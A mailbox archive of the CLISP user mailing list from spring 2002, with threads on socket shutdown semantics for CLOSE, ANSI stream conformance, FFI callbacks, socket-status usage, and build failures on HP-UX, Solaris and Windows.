bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 31 12:25:20 2002 X-Original-Date: 31 Mar 2002 15:23:50 -0500 Sam Steingold writes: > Todd (?) asked for shutdown(2) for sockets. > > I want to add a keyword arg :DIRECTION to CLOSE. > then > (close 2way-stream :direction :in) > is the same as > (close (two-way-input-stream 2way-stream)) > and > (close socket :direction in) > is the same as > shutdown(handle(socket),SHUT_RD); > > do people like the interface? > > I don't think this breaks ANSI "too much". in CLISP the "official > signature" of the generic function CLOSE is already (stream &rest args). Well, I'm not much of a ANSI CL language lawyer, but this seems to be nonconformant. The Hyperspec page for close says that close on a composite stream should have no effect on the constituent streams. Therefore, I'd expect that (close 2w :direction :input) would just make 2w unusable for input, but not affect the stream (two-way-stream-input-stream 2w). BTW, an orthogonal issue is that the CLOSE page also contains this example, which fails in clisp: (setq s (make-broadcast-stream)) => # (close s) => T (output-stream-p s) => true clisp returns NIL for the final form. Todd From peter.wood@worldonline.dk Sun Mar 31 21:35:11 2002 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16ruTG-0001Bh-00 for ; Sun, 31 Mar 2002 21:35:10 -0800 Received: from localhost.localdomain (cpe.atm0-0-0-120180.0x3ef207e9.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 09082B6D2 for ; Mon, 1 Apr 2002 07:35:07 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id g315LYJ00151; Mon, 1 Apr 2002 07:21:34 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Reporting ffi broken Message-ID: <20020401072134.A142@localhost.localdomain> References: <20020328110637.A28441@localhost.localdomain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from tsabin@optonline.net on Fri, Mar 29, 2002 at 08:19:19PM -0500 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Mar 31 21:36:02 2002 X-Original-Date: Mon, 1 Apr 2002 07:21:34 +0200 On Fri, Mar 29, 2002 at 08:19:19PM -0500, Todd Sabin wrote: > clg-0.51 uses def-c-call-in, and I've gotten it to build (required > some patches) and run ok with clisp-2.27, including callbacks. Have > you tried def-c-call-in? Your example code with def-call-in didn't > specify a language; maybe the default isn't what you expect? (Don't > really know, just guessing...) > > > Todd > Hi, I'm beginning to think this may be a linux issue. What OS were you using? Regards, Peter From A.Nuzzo@motorola.com Mon Apr 01 06:49:13 2002 Received: from ftpbox.mot.com ([129.188.136.101]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16s37K-00029j-00 for ; Mon, 01 Apr 2002 06:49:11 -0800 Received: [from pobox.mot.com (pobox.mot.com [129.188.137.100]) by ftpbox.mot.com (ftpbox 2.1) with ESMTP id HAA29870 for ; Mon, 1 Apr 2002 07:49:04 -0700 (MST)] Received: [from il02exm25.comm.mot.com (il02exm25.comm.mot.com [145.1.204.48]) by pobox.mot.com (MOT-pobox 2.0) with ESMTP id HAA19792 for ; Mon, 1 Apr 2002 07:49:04 -0700 (MST)] Received: by il02exm25.comm.mot.com with Internet Mail Service (5.5.2654.52) id <2BCMMZN0>; Mon, 1 Apr 2002 08:49:04 -0600 Message-ID: From: Nuzzo Art-CINT116 To: "'clisp-list@lists.sourceforge.net'" Subject: FW: [clisp-list] Problem compiling Clisp 2.28 on HP MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.52) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 1 06:50:31 2002 X-Original-Date: Mon, 1 Apr 2002 08:49:03 -0600 > > gcc -g -O2 -x none minitests.o -o minitests ./.libs/libavcall.a > ./minitests > minitests.out > uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20 > test '!' -s minitests.output.hppa2.0-hp-hpux10.20 > make: *** [check] Error 1 this should be fixed in the CVS. Thanks for the information. How do I apply the CVS? Which files do I need to fix this? If I try to show files with a certain tag I get this error: Python Exception Occurred Traceback (innermost last): File "/usr/local/viewcvs-0.8/lib/viewcvs.py", line 2599, in run_cgi main() File "/usr/local/viewcvs-0.8/lib/viewcvs.py", line 2554, in main view_directory(request) File "/usr/local/viewcvs-0.8/lib/viewcvs.py", line 1118, in view_directory fileinfo, alltags = get_logs(full_name, rcs_files, view_tag) File "/usr/local/viewcvs-0.8/lib/viewcvs.py", line 1074, in get_logs raise 'error during rlog: '+hex(status) error during rlog: 0x100 Thanks, Art Nuzzo a.nuzzo@motorola.com From samuel.steingold@verizon.net Mon Apr 01 07:40:17 2002 Received: from out008pub.verizon.net ([206.46.170.108] helo=out008.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16s3up-0008Ie-00 for ; Mon, 01 Apr 2002 07:40:15 -0800 Received: from gnu.org ([151.203.48.85]) by out008.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020401154013.BTGZ16955.out008.verizon.net@gnu.org>; Mon, 1 Apr 2002 09:40:13 -0600 To: Nuzzo Art-CINT116 Cc: "'clisp-list@lists.sourceforge.net'" Subject: Re: FW: [clisp-list] Problem compiling Clisp 2.28 on HP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 24 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 1 07:42:36 2002 X-Original-Date: 01 Apr 2002 10:40:53 -0500 > * In message > * On the subject of "FW: [clisp-list] Problem compiling Clisp 2.28 on HP" > * Sent on Mon, 1 Apr 2002 08:49:03 -0600 > * Honorable Nuzzo Art-CINT116 writes: > > > > > gcc -g -O2 -x none minitests.o -o minitests ./.libs/libavcall.a > > ./minitests > minitests.out > > uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20 > > test '!' -s minitests.output.hppa2.0-hp-hpux10.20 > > make: *** [check] Error 1 > > this should be fixed in the CVS. > > How do I apply the CVS? Which files do I need to fix this? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! We're too busy mopping the floor to turn off the faucet. From robert@circinus.no Mon Apr 01 12:02:17 2002 Received: from node1.hosting-network.com ([66.216.1.1] helo=hosting-network.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16s80O-0001UU-00 for ; Mon, 01 Apr 2002 12:02:16 -0800 Received: (qmail 35840 invoked from network); 1 Apr 2002 20:00:26 -0000 Received: from unknown (HELO INT-OSL-04-032.circinus.no) (130.67.119.161) by node-130.hosting-network.com with SMTP; 1 Apr 2002 20:00:26 -0000 To: clisp-list@lists.sourceforge.net From: Robert Folland Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Packages locked in Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 1 12:04:09 2002 X-Original-Date: 01 Apr 2002 22:02:18 +0200 Hello, I've just started using clisp on Windows, and I'm getting warning messages about packages being locked all the time. I've just joined the mailing list so sorry if this is a very FAQ: This is an example: ------------------------------ [1]> (defun hei (x) ** - Continuable Error INTERN("HEI"): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break [2]> continue ** - Continuable Error INTERN("X"): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed 1. Break [3]> (bye) Bye. [~]$ ------------------------------ I get the same when trying to eval/compile a form from emacs with the ILISP-package, having clisp as the inferior Lisp. On Linux this all works fine. I get the errors on Windows 2000. I downloaded a binary distribution of clisp-2.28, didn't succeed in compiling from source. Is there an easy fix for this? Something to do with the file system in Windows perhaps? -Robert From robert@circinus.no Mon Apr 01 12:24:59 2002 Received: from node1.hosting-network.com ([66.216.1.1] helo=hosting-network.com) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16s8MM-0006Hi-00 for ; Mon, 01 Apr 2002 12:24:58 -0800 Received: (qmail 39927 invoked from network); 1 Apr 2002 20:23:07 -0000 Received: from unknown (HELO INT-OSL-04-032.circinus.no) (130.67.119.161) by node-130.hosting-network.com with SMTP; 1 Apr 2002 20:23:07 -0000 To: clisp-list@lists.sourceforge.net From: Robert Folland Message-ID: Lines: 8 X-Mailer: Gnus v5.7/Emacs 20.7 Subject: [clisp-list] Fixed the locked packages problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 1 12:45:00 2002 X-Original-Date: 01 Apr 2002 22:24:59 +0200 I'm sending this before I see the my mail appearing, to cancel it. Sorry that it won't appear in the thread of my first mail. I re-installed clisp-2.28 on Windows 2000 using the install.bat script, and now things work fine. The first time round I didn't see install.bat, but followed the instructions in the README-file. -Robert From will@misconception.org.uk Mon Apr 01 13:15:08 2002 Received: from cmailg4.svr.pol.co.uk ([195.92.195.174]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16s98t-0001y9-00 for ; Mon, 01 Apr 2002 13:15:07 -0800 Received: from modem-395.articuno.dialup.pol.co.uk ([217.135.27.139] helo=there) by cmailg4.svr.pol.co.uk with smtp (Exim 3.35 #1) id 16s98q-0007Yu-00 for clisp-list@lists.sourceforge.net; Mon, 01 Apr 2002 22:15:05 +0100 Content-Type: text/plain; charset="iso-8859-1" From: Will Newton To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Problem compiling Clisp 2.28 on HP X-Mailer: KMail [version 1.3.2] References: <3CA60E27.EBB91E63@ameritech.net> In-Reply-To: <3CA60E27.EBB91E63@ameritech.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 2 00:04:14 2002 X-Original-Date: Mon, 1 Apr 2002 22:16:10 +0100 On Saturday 30 Mar 2002 7:12 pm, A. Nuzzo wrote: > I am having a problem compiling Clisp 2.28 on my HP 10.20 system. First > when I > do the configure I get the following error: I've been looking at clisp on linux hppa and avcall-hppa.s does not assemble with modern GNU tools. Try recreating avcall-hppa.s from the C code: make -f Makefile.devel avcall-hppa.s Notice that this does bizarre things i.e. it uses sed to replace a constant in an extremely unsafe way and for no reason I can understand. That might be enough. It's not enough on Linux - the avcall stuff is completely broken on linux hppa so I am rewriting it. If you have other problems getting avcall to pass tests etc. I would be interested to hear. From samuel.steingold@verizon.net Mon Apr 01 13:23:04 2002 Received: from out007pub.verizon.net ([206.46.170.107] helo=out007.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16s9GY-0004Re-00 for ; Mon, 01 Apr 2002 13:23:02 -0800 Received: from gnu.org ([151.203.48.85]) by out007.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020401212316.ULTO22801.out007.verizon.net@gnu.org>; Mon, 1 Apr 2002 15:23:16 -0600 To: Todd Sabin Cc: clisp-list@sourceforge.net Subject: Re: [clisp-list] shutdown(2) & sockets References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 30 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 2 00:16:46 2002 X-Original-Date: 01 Apr 2002 16:23:36 -0500 okay - it appears that people did not like my clever CLOSE extension. fine. you will get SOCKET-STREAM-SHUTDOWN instead. how do I tell whether the socket has been shut down in one direction already? this is crucial since otherwise there will be random crashes (SIGPIPE) when trying to use the socket incorrectly. > * In message > * On the subject of "Re: [clisp-list] shutdown(2) & sockets" > * Sent on 31 Mar 2002 15:23:50 -0500 > * Honorable Todd Sabin writes: > > BTW, an orthogonal issue is that the CLOSE page also contains this > example, which fails in clisp: > > (setq s (make-broadcast-stream)) => # > (close s) => T > (output-stream-p s) => true > > clisp returns NIL for the final form. as does CMUCL. I just fixed this. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux Keep Jerusalem united! Read, think and remember! Save your burned out bulbs for me, I'm building my own dark room. From janmar@iprimus.com.au Tue Apr 02 03:37:57 2002 Received: from smtp02.iprimus.net.au ([203.134.65.99]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sMbq-0000KU-00 for ; Tue, 02 Apr 2002 03:37:54 -0800 Received: from abe ([203.134.153.23]) by smtp02.iprimus.net.au with Microsoft SMTPSVC(5.0.2195.4617); Tue, 2 Apr 2002 21:37:46 +1000 Message-ID: <001101c1dad1$dc7a30e0$179986cb@abe> From: "Jan Marecek" To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 X-OriginalArrivalTime: 02 Apr 2002 11:37:47.0329 (UTC) FILETIME=[CFDB2B10:01C1DA3A] Subject: [clisp-list] socket-status question Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 2 03:44:49 2002 X-Original-Date: Tue, 2 Apr 2002 21:39:00 -0800 hello, i'm trying to write a server in clisp but I can't work out how to pass a list of sockets to socket-status. this is the error i get: (setq server (socket-server 8888)) => # (setq client (socket-accept server)) => # (socket-status server 0) => NIL (socket-status client 0) => :OUTPUT (socket-status '(server (client . :io))) => *** - SOCKET-STATUS: argument SERVER should be a stream I looked in src/stream.d and at line 14996 i found: var bool many_sockets_p = (consp(all) && !(symbolp(Cdr(all)) && keywordp(Cdr(all)))); this looks to me like it be (consp(all) && !(symbolp(Car(all)) && keywordp(Cdr(all)))); but I couldn't find any clues as to why a list wouldn't work. I'm using clisp-2.28 and get the same error on linux and win32(98 & 2000). - jan From ampy@ich.dvo.ru Tue Apr 02 05:39:27 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sOVO-0006ok-00 for ; Tue, 02 Apr 2002 05:39:22 -0800 Received: from 212.16.216.89 ([212.16.216.89]) by vtc.ru (8.12.2/8.12.2) with ESMTP id g32DcFv2028369; Wed, 3 Apr 2002 00:38:21 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <13211760941.20020403003924@ich.dvo.ru> To: Sam Steingold CC: Todd Sabin , clisp-list@sourceforge.net Subject: Re[2]: [clisp-list] shutdown(2) & sockets In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 2 05:46:00 2002 X-Original-Date: Wed, 3 Apr 2002 00:39:24 +1000 Hello Sam, Tuesday, April 02, 2002, 7:23:36 AM, you wrote: Sam> okay - it appears that people did not like my clever CLOSE extension. Sam> fine. you will get SOCKET-STREAM-SHUTDOWN instead. I like it. It's like that it cannot (syntactically) break conformant code, right ? It can be abstracted to two way streams, not only on sockets. But we need :direction option in open-stream-p too. As for {input|output}-stream-p - I vote not to change it after close (I think of it as of types). -- Best regards, Arseny mailto:ampy@ich.dvo.ru From A.Nuzzo@motorola.com Tue Apr 02 06:03:46 2002 Received: from motgate4.mot.com ([144.189.100.102]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sOsz-0004iB-00 for ; Tue, 02 Apr 2002 06:03:45 -0800 Received: [from pobox2.mot.com (pobox2.mot.com [136.182.15.8]) by motgate4.mot.com (motgate4 2.1) with ESMTP id HAA09768 for ; Tue, 2 Apr 2002 07:03:43 -0700 (MST)] Received: [from il02exm25.comm.mot.com (il02exm25.comm.mot.com [145.1.204.48]) by pobox2.mot.com (MOT-pobox2 2.0) with ESMTP id HAA07374 for ; Tue, 2 Apr 2002 07:03:39 -0700 (MST)] Received: by il02exm25.comm.mot.com with Internet Mail Service (5.5.2654.52) id <2BCMN6C8>; Tue, 2 Apr 2002 08:03:39 -0600 Message-ID: From: Nuzzo Art-CINT116 To: "'clisp-list@lists.sourceforge.net'" MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.52) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] FW: Still Problems compiling on HP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 2 06:15:27 2002 X-Original-Date: Tue, 2 Apr 2002 08:03:37 -0600 Note: I am resending this. It looks like my mail server must have dropped the ball on this one since it never made it to the mailing list. Please disregard it if it shows up at some point. - Art > I am getting closer but not there yet. > > > >> gcc -g -O2 -x none minitests.o -o minitests ./.libs/libavcall.a > >> ./minitests > minitests.out > >> uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20 > >> test '!' -s minitests.output.hppa2.0-hp-hpux10.20 > >> make: *** [check] Error 1 > > > >this should be fixed in the CVS. > > Getting the CVS fixed this problem. > > > > > >> > cc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > >> > -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce > >> > -DUNICODE -c arihppa.s || /usr/ccs/bin/as arihppa.s -o arihppa.o || > >> > /bin/as arihppa.s -o arihppa.o > >> > arihppa.s: Assembler messages: > >> > arihppa.s:1: Error: Unknown pseudo-op: `.shortdata' > >> > arihppa.s:8: Error: The .ENTER pseudo-op is not supported > >> > arihppa.s:30: Error: The .LEAVE pseudo-op is not supported > >> > arihppa.s: Assembler messages: > >> > arihppa.s:1: Error: Unknown pseudo-op: `.shortdata' > >> > arihppa.s:8: Internal error, aborting at targ-cpu.c line 4493 > >> > Please report this bug. > > > > > > > >GNU as and the binutils will not help you. You need the assembler that > >is shipped with the system! > > > Switching to the HP assembler fixed this problem. > > It now continues until it reaches the point where it runs lisp.run and > then > core dumps. > > > gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type > -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce -DUNICODE > -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o > control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o > list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o > time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o arihppa.o > gmalloc.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a > libavcall.a libcallback.a -ltermcap -o lisp.run > sync > ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load > \"init.lisp\") (sys::%saveinitmem) (exit)" > /bin/sh: 14998 Memory fault(coredump) > make: *** [interpreted.mem] Error 139 > > > > Any ideas what I am overlooking? > > Thanks for help, > > > > Art Nuzzo > > > a.nuzzo@motorola.com > > From ayan@ayan.net Tue Apr 02 06:09:07 2002 Received: from user129.net043.fl.sprint-hsd.net ([207.30.217.129] helo=sol.ayan.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sOy8-0005rv-00 for ; Tue, 02 Apr 2002 06:09:04 -0800 Received: from sol.ayan.net (ayan@localhost [127.0.0.1]) by sol.ayan.net (8.12.2/8.12.2) with ESMTP id g32EFL93019195; Tue, 2 Apr 2002 09:15:22 -0500 (EST) Received: from localhost (ayan@localhost) by sol.ayan.net (8.12.2/8.12.2/Submit) with ESMTP id g32EFJEj019192; Tue, 2 Apr 2002 09:15:19 -0500 (EST) X-Authentication-Warning: sol.ayan.net: ayan owned process doing -bs From: Ayan George To: clisp-list@sourceforge.net cc: Ayan George Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Solaris 7/sun4m build problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 2 06:18:02 2002 X-Original-Date: Tue, 2 Apr 2002 09:15:19 -0500 (EST) Guys, I'm trying to compile clisp 2.28 under Solaris 2.7. As you can see, the configure script fails after performing one of the minitests. Here is the output of ``gcc -v'': Reading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.7/3.0.3/specs Configured with: ../configure --with-as=/usr/local/bin/as --with-ld=/usr/local/bin/ld Thread model: posix gcc version 3.0.3 Here is ``uname -a'': SunOS sol 5.7 Generic_106541-19 sun4m sparc SUNW,SPARCstation-10 What follows is the last 25 lines of the configure script output. I have placed an entire transscript at: http://www.ayan.net/clisp/configure.txt Thanks in advanced. /bin/sh ./libtool --mode=link gcc -o libcallback.la -rpath /usr/local/lib vacall_r/vacall.lo vacall_r/misc.lo vacall_r/structcpy.lo trampoline_r/*.lo mkdir .libs rm -fr .libs/libcallback.la .libs/libcallback.* .libs/libcallback.* ar cru .libs/libcallback.a vacall_r/vacall.o vacall_r/misc.o vacall_r/structcpy.o trampoline_r/cache-sparc.o trampoline_r/trampoline.o ranlib .libs/libcallback.a creating libcallback.la (cd .libs && rm -f libcallback.la && ln -s ../libcallback.la libcallback.la) gcc -g -O2 -I. -I../../ffcall/avcall -S ../../ffcall/avcall/minitests.c gcc -g -O2 -I. -I../../ffcall/avcall -c ../../ffcall/avcall/minitests.c /bin/sh ./libtool --mode=link gcc -g -O2 -x none minitests.o libavcall.la -o minitests gcc -g -O2 -x none minitests.o -o minitests ./.libs/libavcall.a ./minitests > minitests.out uniq -u < minitests.out > minitests.output.sparc-sun-solaris2.7 test '!' -s minitests.output.sparc-sun-solaris2.7 *** Error code 1 make: Fatal error: Command failed for target `check' To continue building CLISP, the following commands are recommended (cf. unix/INSTALL step 4): cd sol-build ./makemake --with-readline --with-gettext > Makefile make config.lisp vi config.lisp make make check root@sol:/usr/local/source_builds/clisp-2.28# From ayan@ayan.net Tue Apr 02 06:42:46 2002 Received: from user129.net043.fl.sprint-hsd.net ([207.30.217.129] helo=sol.ayan.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sPUi-0005Xv-00 for ; Tue, 02 Apr 2002 06:42:44 -0800 Received: from sol.ayan.net (ayan@localhost [127.0.0.1]) by sol.ayan.net (8.12.2/8.12.2) with ESMTP id g32En393019241 for ; Tue, 2 Apr 2002 09:49:03 -0500 (EST) Received: from localhost (ayan@localhost) by sol.ayan.net (8.12.2/8.12.2/Submit) with ESMTP id g32En2nK019238 for ; Tue, 2 Apr 2002 09:49:02 -0500 (EST) X-Authentication-Warning: sol.ayan.net: ayan owned process doing -bs From: Ayan George To: clisp-list@sourceforge.net Subject: Re: [clisp-list] Solaris 7/sun4m build problem In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Apr 2 06:53:06 2002 X-Original-Date: Tue, 2 Apr 2002 09:49:02 -0500 (EST) There already appears to be a related thread. Please ignore. -Ayan On Tue, 2 Apr 2002, Ayan George wrote: > > Guys, > > I'm trying to compile clisp 2.28 under Solaris 2.7. As you can see, the > configure script fails after performing one of the minitests. > > Here is the output of ``gcc -v'': > > Reading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.7/3.0.3/specs > Configured with: ../configure --with-as=/usr/local/bin/as --with-ld=/usr/local/bin/ld > Thread model: posix > gcc version 3.0.3 > > Here is ``uname -a'': > > SunOS sol 5.7 Generic_106541-19 sun4m sparc SUNW,SPARCstation-10 > > What follows is the last 25 lines of the configure script output. I > have placed an entire transscript at: > > http://www.ayan.net/clisp/configure.txt > > Thanks in advanced. > > /bin/sh ./libtool --mode=link gcc -o libcallback.la -rpath /usr/local/lib vacall_r/vacall.lo vacall_r/misc.lo vacall_r/structcpy.lo trampoline_r/*.lo > mkdir .libs > rm -fr .libs/libcallback.la .libs/libcallback.* .libs/libcallback.* > ar cru .libs/libcallback.a vacall_r/vacall.o vacall_r/misc.o vacall_r/structcpy.o trampoline_r/cache-sparc.o trampoline_r/trampoline.o > ranlib .libs/libcallback.a > creating libcallback.la > (cd .libs && rm -f libcallback.la && ln -s ../libcallback.la libcallback.la) > gcc -g -O2 -I. -I../../ffcall/avcall -S ../../ffcall/avcall/minitests.c > gcc -g -O2 -I. -I../../ffcall/avcall -c ../../ffcall/avcall/minitests.c > /bin/sh ./libtool --mode=link gcc -g -O2 -x none minitests.o libavcall.la -o minitests > gcc -g -O2 -x none minitests.o -o minitests ./.libs/libavcall.a > ./minitests > minitests.out > uniq -u < minitests.out > minitests.output.sparc-sun-solaris2.7 > test '!' -s minitests.output.sparc-sun-solaris2.7 > *** Error code 1 > make: Fatal error: Command failed for target `check' > > To continue building CLISP, the following commands are recommended > (cf. unix/INSTALL step 4): > cd sol-build > ./makemake --with-readline --with-gettext > Makefile > make config.lisp > vi config.lisp > make > make check > root@sol:/usr/local/source_builds/clisp-2.28# > > > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list > From samuel.steingold@verizon.net Tue Apr 02 07:14:53 2002 Received: from out010pub.verizon.net ([206.46.170.133] helo=out010.verizon.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 16sPzm-00035E-00 for ; Tue, 02 Apr 2002 07:14:50 -0800 Received: from gnu.org ([151.203.48.85]) by out010.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with ESMTP id <20020402151439.VEGB1257.out010.verizon.net@gnu.org>; Tue, 2 Apr 2002 09:14:39 -0600 To: "Jan Marecek" Cc: Subject: Re: [clisp-list] socket-status question References: <001101c1dad1$dc7a30e0$179986cb@abe> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <001101c1dad1$dc7a30e0$179986cb@abe> Message-ID: Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net 